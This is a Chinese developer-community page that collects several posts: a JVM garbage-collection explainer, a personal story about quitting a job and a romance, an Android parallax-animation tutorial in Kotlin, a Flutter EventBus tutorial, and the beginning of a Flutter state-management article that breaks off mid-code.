注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

动图图解GC算法 - 让垃圾回收动起来!

既然已经卷成了这样,不学也没有办法,Hydra牺牲了周末时间,给大家画了几张动图,希望通过这几张图,能够帮助大家对垃圾收集算法有个更好的理解。废话不多说,首先还是从基础问题开始,看看怎么判断一个对象是否应该被回收。垃圾回收的根本目的是利用一些算法进行内存的管理...
继续阅读 »

提到Java中的垃圾回收,我相信很多小伙伴和我一样,第一反应就是面试必问了,你要是没背过点GC算法、收集器什么的知识,出门都不敢说自己背过八股文。说起来还真是有点尴尬,工作中实际用到这方面知识的场景真是不多,并且这东西学起来也很枯燥,但是奈何面试官就是爱问,我们能有什么办法呢?

既然已经卷成了这样,不学也没有办法,Hydra牺牲了周末时间,给大家画了几张动图,希望通过这几张图,能够帮助大家对垃圾收集算法有个更好的理解。废话不多说,首先还是从基础问题开始,看看怎么判断一个对象是否应该被回收。

判断对象存活

垃圾回收的根本目的是利用一些算法进行内存的管理,从而有效的利用内存空间,在进行垃圾回收前,需要判断对象的存活情况,在jvm中有两种判断对象的存活算法,下面分别进行介绍。

1、引用计数算法

在对象中添加一个引用计数器,每当有一个地方引用它时计数器就加 1,当引用失效时计数器减 1。当计数器为0的时候,表示当前对象可以被回收。

这种方法的原理很简单,判断起来也很高效,但是存在两个问题:

  • 堆中对象每一次被引用和引用清除时,都需要进行计数器的加减法操作,会带来性能损耗

  • 当两个对象相互引用时,计数器永远不会0。也就是说,即使这两个对象不再被程序使用,仍然没有办法被回收,通过下面的例子看一下循环引用时的计数问题:

public void reference(){
A a = new A();
B b = new B();
a.instance = b;
b.instance = a;    
}

引用计数的变化过程如下图所示:


可以看到,在方法执行完成后,栈中的引用被释放,但是留下了两个对象在堆内存中循环引用,导致了两个实例最后的引用计数都不为0,最终这两个对象的内存将一直得不到释放,也正是因为这一缺陷,使引用计数算法并没有被实际应用在gc过程中。

2、可达性分析算法

可达性分析算法是jvm默认使用的寻找垃圾的算法,需要注意的是,虽然说的是寻找垃圾,但实际上可达性分析算法寻找的是仍然存活的对象。至于这样设计的理由,是因为如果直接寻找没有被引用的垃圾对象,实现起来相对复杂、耗时也会比较长,反过来标记存活的对象会更加省时。

可达性分析算法的基本思路就是,以一系列被称为GC Roots的对象作为起始点,从这些节点开始向下搜索,搜索所走过的路径称为引用链,当一个对象到GC Roots没有任何引用链相连时,证明该对象不再存活,可以作为垃圾被回收。


在java中,可作为GC Roots的对象有以下几种:

  • 在虚拟机栈(栈帧的本地变量表)中引用的对象

  • 在方法区中静态属性引用的对象

  • 在方法区中常量引用的对象

  • 在本地方法栈中JNI(native方法)引用的对象

  • jvm内部的引用,如基本数据类型对应的Class对象、一些常驻异常对象等,及系统类加载器

  • 被同步锁synchronized持有的对象引用

  • 反映jvm内部情况的 JMXBeanJVMTI中注册的回调本地代码缓存等

  • 此外还有一些临时性的GC Roots,这是因为垃圾收集大多采用分代收集局部回收,考虑到跨代或跨区域引用的对象时,就需要将这部分关联的对象也添加到GC Roots中以确保准确性

其中比较重要、同时提到的比较多的还是前面4种,其他的简单了解一下即可。在了解了jvm是如何寻找垃圾对象之后,我们来看一看不同的垃圾收集算法的执行过程是怎样的。

垃圾收集算法

1、标记-清除算法

标记清除算法是一种非常基础的垃圾收集算法,当堆中的有效内存空间耗尽时,会触发STW(stop the world),然后分标记清除两阶段来进行垃圾收集工作:

  • 标记:从GC Roots的节点开始进行扫描,对所有存活的对象进行标记,将其记录为可达对象

  • 清除:对整个堆内存空间进行扫描,如果发现某个对象未被标记为可达对象,那么将其回收

通过下面的图,简单的看一下两阶段的执行过程:


但是这种算法会带来几个问题:

  • 在进行GC时会产生STW,停止整个应用程序,造成用户体验较差

  • 标记和清除两个阶段的效率都比较低,标记阶段需要从根集合进行扫描,清除阶段需要对堆内所有的对象进行遍历

  • 仅对非存活的对象进行处理,清除之后会产生大量不连续的内存碎片。导致之后程序在运行时需要分配较大的对象时,无法找到足够的连续内存,会再触发一次新的垃圾收集动作

此外,jvm并不是真正的把垃圾对象进行了遍历,把内部的数据都删除了,而是把垃圾对象的首地址和尾地址进行了保存,等到再次分配内存时,直接去地址列表中分配,通过这一措施提高了一些标记清除算法的效率。

2、复制算法

复制算法主要被应用于新生代,它将内存分为大小相同的两块,每次只使用其中的一块。在任意时间点,所有动态分配的对象都只能分配在其中一个内存空间,而另外一个内存空间则是空闲的。复制算法可以分为两步:

  • 当其中一块内存的有效内存空间耗尽后,jvm会停止应用程序运行,开启复制算法的gc线程,将还存活的对象复制到另一块空闲的内存空间。复制后的对象会严格按照内存地址依次排列,同时gc线程会更新存活对象的内存引用地址,指向新的内存地址

  • 在复制完成后,再把使用过的空间一次性清理掉,这样就完成了使用的内存空间和空闲内存空间的对调,使每次的内存回收都是对内存空间的一半进行回收

通过下面的图来看一下复制算法的执行过程:


复制算法的的优点是弥补了标记清除算法中,会出现内存碎片的缺点,但是它也同样存在一些问题:

  • 只使用了一半的内存,所以内存的利用率较低,造成了浪费

  • 如果对象的存活率很高,那么需要将很多对象复制一遍,并且更新它们的应用地址,这一过程花费的时间会非常的长

从上面的缺点可以看出,如果需要使用复制算法,那么有一个前提就是要求对象的存活率要比较低才可以,因此,复制算法更多的被用于对象“朝生暮死”发生更多的新生代中。

3、标记-整理算法

标记整理算法和标记清除算法非常的类似,主要被应用于老年代中。可分为以下两步:

  • 标记:和标记清除算法一样,先进行对象的标记,通过GC Roots节点扫描存活对象进行标记

  • 整理:将所有存活对象往一端空闲空间移动,按照内存地址依次排序,并更新对应引用的指针,然后清理末端内存地址以外的全部内存空间

标记整理算法的执行过程如下图所示:


可以看到,标记整理算法对前面的两种算法进行了改进,一定程度上弥补了它们的缺点:

  • 相对于标记清除算法,弥补了出现内存空间碎片的缺点

  • 相对于复制算法,弥补了浪费一半内存空间的缺点

但是同样,标记整理算法也有它的缺点,一方面它要标记所有存活对象,另一方面还添加了对象的移动操作以及更新引用地址的操作,因此标记整理算法具有更高的使用成本。

4、分代收集算法

实际上,java中的垃圾回收器并不是只使用的一种垃圾收集算法,当前大多采用的都是分代收集算法。jvm一般根据对象存活周期的不同,将内存分为几块,一般是把堆内存分为新生代和老年代,再根据各个年代的特点选择最佳的垃圾收集算法。主要思想如下:

  • 新生代中,每次收集都会有大量对象死去,所以可以选择复制算法,只需要复制少量对象以及更改引用,就可以完成垃圾收集

  • 老年代中,对象存活率比较高,使用复制算法不能很好的提高性能和效率。另外,没有额外的空间对它进行分配担保,因此选择标记清除标记整理算法进行垃圾收集

通过图来简单看一下各种算法的主要应用区域:


至于为什么在某一区域选择某种算法,还是和三种算法的特点息息相关的,再从3个维度进行一下对比:

  • 执行效率:从算法的时间复杂度来看,复制算法最优,标记清除次之,标记整理最低

  • 内存利用率:标记整理算法和标记清除算法较高,复制算法最差

  • 内存整齐程度:复制算法和标记整理算法较整齐,标记清除算法最差

尽管具有很多差异,但是除了都需要进行标记外,还有一个相同点,就是在gc线程开始工作时,都需要STW暂停所有工作线程。

总结

本文中,我们先介绍了垃圾收集的基本问题,什么样的对象可以作为垃圾被回收?jvm中通过可达性分析算法解决了这一关键问题,并在它的基础上衍生出了多种常用的垃圾收集算法,不同算法具有各自的优缺点,根据其特点被应用于各个年代。

虽然这篇文章唠唠叨叨了这么多,不过这些都还是基础的知识,如果想要彻底的掌握jvm中的垃圾收集,后续还有垃圾收集器、内存分配等很多的知识需要理解,不过我们今天就介绍到这里啦,希望通过这一篇图解,能够帮助大家更好的理解垃圾收集算法。

来源:mp.weixin.qq.com/s/DvPaMfn7xEKIilv-_Ojk8g

收起阅读 »

裸辞回家遇见了她

22年,连续跳了二三家公司,辗转七八个城市。 可能还是太年轻,工作上特别急躁,加班太多会觉得太累,没事情做又觉得无聊烦躁。去年年末回老家过年因为一些巧合遇见了她。年初就润,回到了老家。当时因为苏州疫情就没回去,就开始在老家这边的坎坷之旅。年初千里见网友说起来...
继续阅读 »

22年,连续跳了二三家公司,辗转七八个城市。
可能还是太年轻,工作上特别急躁,加班太多会觉得太累,没事情做又觉得无聊烦躁。去年年末回老家过年因为一些巧合遇见了她。年初就润,回到了老家。当时因为苏州疫情就没回去,就开始在老家这边的坎坷之旅。

年初千里见网友

说起来也是缘分,去年年末的时候,一个人加了我微信,当时也是一头雾水,还以为是传销或者什么。一看名字微信名:“xxx”,也不像是啊。当时没放在心上就随便聊了聊,也没咋放心上。后来我朋友告诉我他推的(因为觉得我挺清秀人品也还行),就把她推给了我。但是我这人自卑又社恐,加上她在我老家那边,就想反正自己好多年也不想回老家那个地方。现在即使网恋也是耽误人家,后面就没咋搭理她。
到过年的时候,我和我妈匆匆忙忙回到了老家,当时家里宅基地刚好重建装修完,背了一屁股的债务,当时很多人劝我不要建房子在老家,有钱直接在省会那边付个首付也比老家强,可我一直觉得这个房子是我奶奶心心念念了一辈子的事情,一辈人有一辈人的使命。最多就是自己在多奋斗几年就没多去计较。

后面过年期间,我和她某明奇妙的聊起来了,可能是我觉得离她近了就有一丝丝念想吧,当时因为一些特殊原因,过年的时候她也在上班。那几天基本每天从早聊到晚,稍微有点暧昧,之后还一起玩游戏,玩了几局,我也很菜没能赢。这样算是更深一步了解她吧,当时也不好断定她是怎样的人。就觉得她很温柔、活泼、可爱、直爽,后面想了想好像很久好久没用遇到这样的女孩子了吧,前几年也遇到不少女孩子都没有这种感觉。是不是自己单身太久产生的幻觉。经过一段时间的发酵我向我朋友打听了下她。

我朋友说人品没问题,就是有点矮,我想着女孩子没啥影响,反正我也矮。就决定去见见她,她也没拒绝我。缘分到了如果不抓住的话也不知道下一次是什么时候。其实那时候我们还只是看过照片,彼此感觉都是那种一般人,到了这个年纪(毕业二三年)其实都不是太在乎颜值,只有不是丑得不能见人(颜值好的话肯定是加分项)。虽然我们都在老家她兼职那边还是有点远,需要转很多车,但也没什么,也许这就是大多数人奔现的样子吧(但我心里是比较排斥这个词的)。

那天早上一大早我就急冲冲起来了,洗个了头,吹了个自认为很帅的发型,戴上小围巾就出发了(那晚上其实下了很大的雪)。因为老家比较远我都比较害怕那边没有班车,因为当时才大年初三,我们那边的习俗是过年几天不跑车,跑车一年的财运都会受影响。果然没让我失望,路上一辆车都没有。也是运气好,我前几天刚好听到我表姐说要去城里,我就问了问,果真就今天去(就觉得很巧合,跟剧本一样),他们把我送到高铁站,道了个谢,就跑去赶了最早一班的高铁。

怀着忐忑的心情出发了,那时差不多路上就是这个样子吧(手机里视频传不上去)。

在路上的时候她一直强调说自己这样不行,那样不可以怕我嫌弃,我当时倒是不自卑,直接对人家就是一顿安慰。到了省会那边,又辗转几个地方去买花,那时过年基本没什么花店开门。转了几个大的花店市场才发现一家花店,订了一束不大不小的花, 又去超市买了个玩偶和巧克力,放了几颗德芙在衣服包里面(小心机)。前前后后忙完这些已经下午一点了,对比下行程,可能有点赶不上车了。匆忙坐了班车到了她上班那个市区 ,本以为一切都会很顺利,结果到了那边转车的班车停运了,当时其实是迷茫的。不知道要不要住宿等到第二天。

那时我想起本来就是一腔热情才跑过来的,也许过了那个劲就不会有那个动力去面对了,心里默想:“所爱隔山海,山海皆可平”。心疼的打了个车花了差不多五百块(大冤种过年被宰)。就这样踏上最后一段路程。路上见到不一样的山峰,矮而尖而且很密集,那个司机天眼好像就是建筑在这边吧,我想着:即使人家见了我嫌弃我这段旅行也算很划算的吧。最终晚上七点到达了目的地,下车了还是有点紧张,我害怕她不喜欢我这样的,毕竟了解不多,也许就是你一厢情愿的认为这就是缘分和命运的安排。

终将相遇

最后一刻,我都还在想,她会不会看到我就跑了,然后不来见我。但应该不至于此,毕竟我相信我的老朋友(七年死党),也相信她的人品。我看见一个人从前面走来我还以为是她,都准备迎上去了,走近一看咋是个阿姨(吓我一跳还以为被骗了),等我反应过来那个阿姨已经走远了。然后一个声音从我对面传来:“我在这,我在这边”,我转头过去惊艳到我了,这这这是本人吗?短发到肩部,用蝴蝶结将一些头发丝束起,一身长白棉袄,精致的脸蛋。我还来不及细想,我就迎了过去,提前想好的台词都没有说出来,倒是显得有一些尴尬。

当时就开始自卑觉得,自己配不上她。寒暄了几句我将花递给她,没有惊喜的表情,只有一句:我都没给你准备什么礼物,你这样我会很不好意思的,她这样说我该是开心还是难过呢?我心里觉得大概要凉了。就怕一句:你是个好人,我们就这样吧。其实当时我们也没说啥喜欢啥的就是有点暧昧。所幸没有发生她嫌弃我的事情,我们延着路边一路闲聊下去,一开始我还有点拘谨,毕竟常年当程序员社交能力就不是很行。

慢慢的,我们说了很多很多,她请我吃了个饭(之前说过请她没倔过她),一路走着走着,说着大学的事,小时候的事,已经工作的事,一时间显得我们不是陌生人,而是多年未见的好友,一下子就觉得很轻松很幸福,反正我已经深深的迷上她的人美心善。她也说了离家老远跑来这边上班的原因(不方便透露)。走着走着我发现她的手有点红,就说道:我还给你准备了个惊喜,把手伸进我衣服包里吧,我在里面放了几颗糖,上班那么辛苦有点糖就不苦了。后面我有点唐突抓住她的手,我说给她暖一下太冰了。她说放我包里就暖和了,我看她脸都红了,也觉得有点唐突了。后面发现还是太冰了,没多想就用牵住了她,嘿嘿!她直接害羞的低下了头。一下子幸福感就涌上来了。

后面很晚的时候要分别了,送他回了宿舍,并把包里的玩偶,剩下的零食一并给了她。她说第二天来送我。

第二天我们两随便吃了点东西(依旧很害羞没敢坐我对面);就送我上车了,临走时送了我一个发带,并对我说:我们有缘再见。也许是想着我在苏州她在遵义太远了吧,可能就是最后一面了,有点伤心也没多问。


感情生活波折

回去的第二天我便回到苏州那边,但是很久之前就谋划着辞职,一方面是觉得在这边技术得不到提升,一方面是觉得想换个环境吧,毕竟这边太闲了让我找不到价值。可能年轻急躁当时没多想就直接裸辞了,期间我对她说:我辞职后来看她,她有点不愿意(说感觉我们的感情有点空中楼阁),可能觉得一面不足以确定什么吧,我可能觉得给不了他幸福也舍不得割舍吧。

后面裸辞后,蹭着苏州没有因为疫情封禁,直接带了二件衣服就回了老家。(具体细节不说了)

第二次见她,可能觉得有点陌生吧,不过慢慢的就过了那个尴尬期,我们一起去逛公园、去逛街、彼此送小礼物、一起吃饭,即使现在回来依旧觉得很美好。但是我依旧没有表白,可能我觉得这些事顺理成章的不需要。一次巧合我去了她家帮她做家务、洗头、做饭。哈哈哈,像一个家庭主男一样。可能就是那次她才真的喜欢上我的吧。

有一次见面之后因为一些很严重的事我们吵架了,本来以为就要在此结束了。后来我又去见她了,我觉得女孩子有什么顾虑很正常的,也许是不够喜欢啥的,准备最后见一面吧,但见面之后准备好的说辞一句没说还是像原来那样相处,一下子心里就有点矛盾,后面敞开心扉说开了心里纠结的问题也就解决了。慢慢的我们也彼此接受了,从一见钟情到建立关系,真的经历很多东西。不管是少了那一段经历我和她都不会有以后。我的果决她的温柔都是缺一不可的。

后续

她考研上岸,我离开苏州在贵阳上班。我们依旧还有很长一段路要走。后续把工作篇发出来(干web前端的)


作者:辰酒
来源:juejin.cn/post/7137973046563831838

收起阅读 »

android 自定义View: 视差动画

废话不多说,先来看今天要完成的效果: 在上一篇:android setContentView()解析中我们介绍了,如何通过Factory2来自己解析View, 那么我们就通过这个机制,来完成今天的效果《视差动画》, 回顾 先来回顾一下如何在Fragment中...
继续阅读 »

废话不多说,先来看今天要完成的效果:


9F7025B4D02C70198934C0CA7812ECE7


上一篇:android setContentView()解析中我们介绍了,如何通过Factory2来自己解析View,


那么我们就通过这个机制,来完成今天的效果《视差动画》,


回顾


先来回顾一下如何在Fragment中自己解析View


 class MyFragment : Fragment(), LayoutInflater.Factory2 {
     override fun onCreateView(
         inflater: LayoutInflater,
         container: ViewGroup?,
         savedInstanceState: Bundle?,
    ): View {
         val newInflater = inflater.cloneInContext(activity)
         LayoutInflaterCompat.setFactory2(newInflater, this)
         return newInflater.inflate(R.layout.my_fragment, container, false)
    }
   
   // 重写Factory2的方法
   override fun onCreateView(
         parent: View?,
         name: String,
         context: Context,
         attrs: AttributeSet,
    ): View? {
     
      val view = createView(parent, name, context, attrs)
      // 此时的view就是自己创建的view!
     
     // ...................
     
 return view
  }
   
   // 重写Factory2的方法
   override fun onCreateView(name: String, context: Context, attrs: AttributeSet): View? {
         return onCreateView(null, name, context, attrs)
    }
   
   // SystemAppCompatViewInflater() 复制的系统源码
   private var mAppCompatViewInflater = SystemAppCompatViewInflater()
    private fun createView(
         parent: View?, name: String?, mContext: Context,
         attrs: AttributeSet,
    ): View? {
         val is21 = Build.VERSION.SDK_INT < 21
      // 自己去解析View
         return mAppCompatViewInflater.createView(parent, name, mContext, attrs, false,
             is21,  /* Only read android:theme pre-L (L+ handles this anyway) */
             true,  /* Read read app:theme as a fallback at all times for legacy reasons */
             false /* Only tint wrap the context if enabled */
        )
    }
 }

如果对这段代码有兴趣的,可以去看 上一篇:android setContentView()解析,


思路分析


9F7025B4D02C70198934C0CA7812ECE7




  1. viewpager + fragment




  2. 自定义属性:



    • 旋转: parallaxRotate

    • 缩放 : parallaxZoom

    • 出场移动:parallaxTransformOutX,parallaxTransformOutY

    • 入场移动:parallaxTransformInX,parallaxTransformInY




  3. 给需要改变变换的view设置属性




  4. 在fragment的时候自己创建view,并且通过AttributeSet解析所有属性




  5. 将需要变换的view保存起来,




  6. 在viewpager滑动过程中,通过addOnPageChangeListener{} 来监听viewpager变化,当viewpager变化过程中,设置对应view对应变换即可!




viewPager+Fragment


首先先实现最简单的viewpager+Fragment


代码块1.1


 class ParallaxBlogViewPager(context: Context, attrs: AttributeSet?) : ViewPager(context, attrs) {
 
     fun setLayout(fragmentManager: FragmentManager, @LayoutRes list: ArrayList<Int>) {
         val listFragment = arrayListOf<C3BlogFragment>()
         // 加载fragment
         list.map {
             C3BlogFragment.instance(it)
        }.forEach {
             listFragment.add(it)
        }
 
         adapter = ParallaxBlockAdapter(listFragment, fragmentManager)
    }
 
     private inner class ParallaxBlockAdapter(
         private val list: List<Fragment>,
         fm: FragmentManager
    ) : FragmentPagerAdapter(fm) {
         override fun getCount(): Int = list.size
         override fun getItem(position: Int) = list[position]
    }
 }

C3BlogFragment:


代码块1.2


 class C3BlogFragment private constructor() : Fragment(), LayoutInflater.Factory2 {
     companion object {
         @NotNull
         private const val LAYOUT_ID = "layout_id"
       
         fun instance(@LayoutRes layoutId: Int) = let {
             C3BlogFragment().apply {
                 arguments = bundleOf(LAYOUT_ID to layoutId)
            }
        }
    }
 
     private val layoutId by lazy {
         arguments?.getInt(LAYOUT_ID) ?: -1
    }
 
     override fun onCreateView(
         inflater: LayoutInflater,
         container: ViewGroup?,
         savedInstanceState: Bundle?,
    ): View {
         val newInflater = inflater.cloneInContext(activity)
         LayoutInflaterCompat.setFactory2(newInflater, this)
         return newInflater.inflate(layoutId, container, false)
    }
 
     override fun onCreateView(
         parent: View?,
         name: String,
         context: Context,
         attrs: AttributeSet,
    ): View? {
         val view = createView(parent, name, context, attrs)
         /// 。。。 在这里做事情。。。 
         return view
    }
 
     private var mAppCompatViewInflater = SystemAppCompatViewInflater()
 
     override fun onCreateView(name: String, context: Context, attrs: AttributeSet): View? {
         return onCreateView(null, name, context, attrs)
    }
     private fun createView(
         parent: View?, name: String?, mContext: Context,
         attrs: AttributeSet,
    ): View? {
         val is21 = Build.VERSION.SDK_INT < 21
         return mAppCompatViewInflater.createView(parent, name, mContext, attrs, false,
             is21, 
             true, 
             false 
        )
    }
 }

这个fragment目前的作用就是接收传过来的布局,展示,


并且自己解析view即可!


xml与调用:


image-20220831110733672


R.layout.c3_1.item,这些布局很简单,就是



  • 一张静态图片

  • 一张动态图片


image-20220831111933761


其他的布局都是一样的,这里就不看了.


来看看当前的效果


74E509428BBC17F5C5745B2E019032A7


自定义属性


通常我们给一个view自定义属性,我们会选择在attrs.xml 中来进行,例如这样:


image-20220831112659868


但是很明显,这么做并不适合我们的场景,因为我们想给任何view都可以设置属性,


那么我们就可以参考ConstraintLayout中的自定义属性:


image-20220831113040794


我们自己定义属性:


image-20220831113206896


并且给需要变换的view设置值



  • app:parallaxRotate="10" 表示在移动过程中旋转10圈

  • app:parallaxTransformInY="0.5" 表示入场的时候,向Y轴方向偏移 height * 0.5

  • app:parallaxZoom="1.5" 表示移动过程中慢慢放大1.5倍


Fragment中解析自定义属性


我们都知道,所有的属性都会存放到AttributeSet中,先打印看一看:


 (0 until attrs.attributeCount).forEach {
     Log.i("szj属性",
         "key:${attrs.getAttributeName(it)}\t" +
                 "value:${attrs.getAttributeValue(it)}")
 }

image-20220831131135741


这样一来就可以打印出所有的属性,并且找到需要用的属性!


那么接下来只需要将这些属性保存起来,在当viewpager滑动过程中取出用即可!


image-20220831131719926


这里我们的属性是保存到view的tag中,


需要注意的是,如果你的某一个view需要变换,那么你的view就一定得设置一个id,因为这里是通过id来存储tag!


监听ViewPager滑动事件


 # ParallaxBlogViewPager.kt
 
 // 监听变化
 addOnPageChangeListener(object : OnPageChangeListener {
     // TODO 滑动过程中一直回调
     override fun onPageScrolled(
         position: Int,
         positionOffset: Float,
         positionOffsetPixels: Int,
    ) {
         Log.e("szjParallaxViewPager",
            "onPageScrolled:position:$position\tpositionOffset:${positionOffset}\tpositionOffsetPixels:${positionOffsetPixels}")
 
    }
 
     //TODO 当页面切换完成时候调用 返回当前页面位置
     override fun onPageSelected(position: Int) {
         Log.e("szjParallaxViewPager", "onPageSelected:$position")
    }
 
     // 
     override fun onPageScrollStateChanged(state: Int) {
         when (state) {
             SCROLL_STATE_IDLE -> {
                 Log.e("szjParallaxViewPager", "onPageScrollStateChanged:页面空闲中..")
            }
             SCROLL_STATE_DRAGGING -> {
                 Log.e("szjParallaxViewPager", "onPageScrollStateChanged:拖动中..")
            }
             SCROLL_STATE_SETTLING -> {
                 Log.e("szjParallaxViewPager", "onPageScrollStateChanged:拖动停止了..")
            }
        }
    }
 })

这三个方法介绍一下:




  • onPageScrolled(position:Int , positionOffset:Float, positionOffsetPixels)



    • @param position: 当前页面下标

    • @param positionOffset:当前页面滑动百分比

    • @param positionOffsetPixels: 当前页面滑动的距离


    在这个方法中需要注意的是,当假设当前是第0个页面,从左到右滑动,



    • position = 0

    • positionOffset = [0-1]

    • positionOffsetPixels = [0 - 屏幕宽度]


    当第1个页面的时候,从左到右滑动,和第0个页面的状态都是一样的


    但是从第1个页面从右到左滑动的时候就不一样了,此时



    • position = 0

    • positionOffset = [1-0]

    • positionOffsetPixels = [屏幕宽度 - 0]







  • onPageSelected(position:Int)



    • @param position: 但页面切换完成的时候调用




  • onPageScrollStateChanged(state:Int)




    • @param state: 但页面发生变化时候调用,一共有3种状体



      • SCROLL_STATE_IDLE 空闲状态

      • SCROLL_STATE_DRAGGING 拖动状态

      • SCROLL_STATE_SETTLING 拖动停止状态






了解了viewpager滑动机制后,那么我们就只需要在滑动过程中,


获取到刚才在tag种保存的属性,然后改变他的状态即可!


 # ParallaxBlogViewPager.kt
 
 // 监听变化
 addOnPageChangeListener(object : OnPageChangeListener {
     // TODO 滑动过程中一直回调
     override fun onPageScrolled(
         position: Int,
         positionOffset: Float,
         positionOffsetPixels: Int,
    ) {
         // TODO 当前fragment
         val currentFragment = listFragment[position]
         currentFragment.list.forEach { view ->
 // 获取到tag中的值
             val tag = view.getTag(view.id)
 
            (tag as? C3Bean)?.also {
                 // 入场
                 view.translationX = -it.parallaxTransformInX * positionOffsetPixels
                 view.translationY = -it.parallaxTransformInY * positionOffsetPixels
                 view.rotation = -it.parallaxRotate * 360 * positionOffset
 
 
                 view.scaleX =
                     1 + it.parallaxZoom - (it.parallaxZoom * positionOffset)
                 view.scaleY =
                     1 + it.parallaxZoom - (it.parallaxZoom * positionOffset)
 
            }
        }
 
         // TODO 下一个fragment
         // 防止下标越界
         if (position + 1 < listFragment.size) {
             val nextFragment = listFragment[position + 1]
             nextFragment.list.forEach { view ->
                 val tag = view.getTag(view.id)
 
                (tag as? C3Bean)?.also {
                     view.translationX =
                         it.parallaxTransformInX * (width - positionOffsetPixels)
                     view.translationY =
                         it.parallaxTransformInY * (height - positionOffsetPixels)
 
                     view.rotation = it.parallaxRotate * 360 * positionOffset
 
                     view.scaleX = (1 + it.parallaxZoom * positionOffset)
                     view.scaleY = (1 + it.parallaxZoom * positionOffset)
                }
            }
        }
    }
 
     //TODO 当页面切换完成时候调用 返回当前页面位置
     override fun onPageSelected(position: Int) {...}
 
     override fun onPageScrollStateChanged(state: Int) { ... }
 })

来看看现在的效果:


8F7CCD955FC2F22FACCD1D2536105E42


此时效果就基本完成了


但是一般情况下,引导页面都会在最后一个页面有一个跳转到主页的按钮


为了方便起见,我们只需要将当前滑动到的fragment页面返回即可!


image-20220831142027559


这么一来,我们就可以在layout布局中为所欲为,因为我们可以自定义属性,并且自己解析,可以做任何自己想做的事情!


思路参考自


完整代码


原创不易,您的点赞与关注就是对我最大的支持!


作者:史大拿
链接:https://juejin.cn/post/7137925163336597517
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter EventBus事件总线的应用

前言 flutter项目中,有许多可以实现跨组件通讯的方案,其中包括InheritedWidget,Notification,EventBus等。本文主要探讨的是EventBus事件总线实现跨组件通讯的方法。 EventBus的简介 EventBus的核心是基...
继续阅读 »

前言


flutter项目中,有许多可以实现跨组件通讯的方案,其中包括InheritedWidget,Notification,EventBus等。本文主要探讨的是EventBus事件总线实现跨组件通讯的方法。


EventBus的简介


EventBus的核心是基于Streams。它允许侦听器订阅事件并允许发布者触发事件,使得不同组件的数据不需要一层层传递,可以直接通过EventBus实现跨组件通讯。


EventBus最主要是通过触发事件监听事件两项操作来实现不同页面的跨层访问。触发事件是通过fire(event)方法进行,监听事件则是通过on<T>()方法进行的,其中泛型可以传入指定类型,事件总线将进行针对性监听,如果泛型传值为空,则默认监听所有类型的事件:


void fire(event) {
streamController.add(event);
}

Stream<T> on<T>() {
if (T == dynamic) {
return streamController.stream as Stream<T>;
} else {
return streamController.stream.where((event) => event is T).cast<T>();
}
}

EventBus的实际应用



1、在pubspec.yaml文件中引用eventBus事件总线依赖;


2、创建一个全局的EventBus实例;


3、使用fire(event)方法在事件总线上触发一个新事件(触发事件);


4、为事件总线注册一个监听器(监听事件);


5、取消EventBus事件订阅,防止内存泄漏。



// 1、在pubspec.yaml文件中引用eventBus事件总线依赖;
dependencies:
event_bus: ^2.0.0

// 2、创建一个全局的EventBus实例;
EventBus myEventBus = EventBus();

// 3、使用fire(event)方法在事件总线上触发一个新事件(触发事件);
Center(
child: ElevatedButton(
onPressed: () {
myEventBus.fire('通过EventBus触发事件');
},
child: Text('触发事件'),
),
)

var getData;

@override
void initState() {
// TODO: implement initState
super.initState();
// 4、为事件总线注册一个监听器(监听事件);
getData = myEventBus.on().listen((event) {
print(event);
});
}

@override
void dispose() {
// TODO: implement dispose
super.dispose();
// 5、取消EventBus事件订阅,防止内存泄漏。
getData.cancel();
}

总结


EventBus遵循的是发布/订阅模式,能够通过事件的触发和监听操作,有效实现跨组件通讯的功能。


作者:Zheng
链接:https://juejin.cn/post/7137327139061727262
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 状态管理 | 业务逻辑与构建逻辑分离

1. 业务逻辑和构建逻辑 对界面呈现来说,最重要的逻辑有两个部分:业务数据的维护逻辑 和 界面布局的构建逻辑 。其中应用运行中相关数据的获取、修改、删除、存储等操作,就是业务逻辑。比如下面是秒表的三个界面,核心 数据 是秒表的时刻。在秒表应用执行功能时,数据的...
继续阅读 »
1. 业务逻辑和构建逻辑

对界面呈现来说,最重要的逻辑有两个部分:业务数据的维护逻辑界面布局的构建逻辑 。其中应用运行中相关数据的获取、修改、删除、存储等操作,就是业务逻辑。比如下面是秒表的三个界面,核心 数据 是秒表的时刻。在秒表应用执行功能时,数据的变化体现在秒数的变化、记录、重置等。

















默认情况暂停记录



界面的构建逻辑主要体现在界面如何布局,维持界面的出现效果。另外,在界面构建过程中,除了业务数据,还有一些数据会影响界面呈现。比如打开秒表时,只有一个启动按钮;在运行中,显示暂停按钮和记录按钮;在暂停时,记录按钮不可用,重置按钮可用。这样在不同的交互场景中,有不同的界面表现,也是构建逻辑处理的一部分。





2. 数据的维护

所以的逻辑本身都是对 数据 的维护,界面能够显示出什么内容,都依赖于数据进行表现。理解需要哪些数据、数据存储在哪里,从哪里来,要传到哪里去,是编程过程中非常重要的一个环节。由于数据需要在构建界面时使用,所以很自然的:在布局写哪里,数据就在哪里维护。


比如默认的计数器项目,其中只有一个核心数据 _counter ,用于表示当前点击的次数。





代码实现时, _counter 数据定义在 _MyHomePageState 中,改数据的维护也在状态类中:



对于一些简单的场景,这样的处理无可厚非。但在复杂的交互场景中,业务逻辑和构建逻辑杂糅在 State 派生类中,会导致代码复杂,逻辑混乱,不便于阅读和维护。





3.秒表状态数据对布局的影响

现在先通过代码来实现如下交互,首先通过 StopWatchType 枚举来标识秒表运行状态。在初始状态 none 时,只有一个开始按钮;点击开始,秒表在运行中,此时显示三个按钮,重置按钮是灰色,不可点击,点击旗子按钮,可以记录当前秒表值;暂停时,旗子按钮不可点击,点击重置按钮时,回到初始态。


enum StopWatchType{
none, // 初始态
stopped, // 已停止
running, // 运行中
}




如下所示,通过 _buildBtnByState 方法根据 StopWatchState 状态值构建底部按钮。根据不同的 state 情况处理不同的显示效果,这就是构建逻辑的体检。而此时的关键数据就是 StopWatchState 对象。


Widget _buildBtnByState(StopWatchType state) {
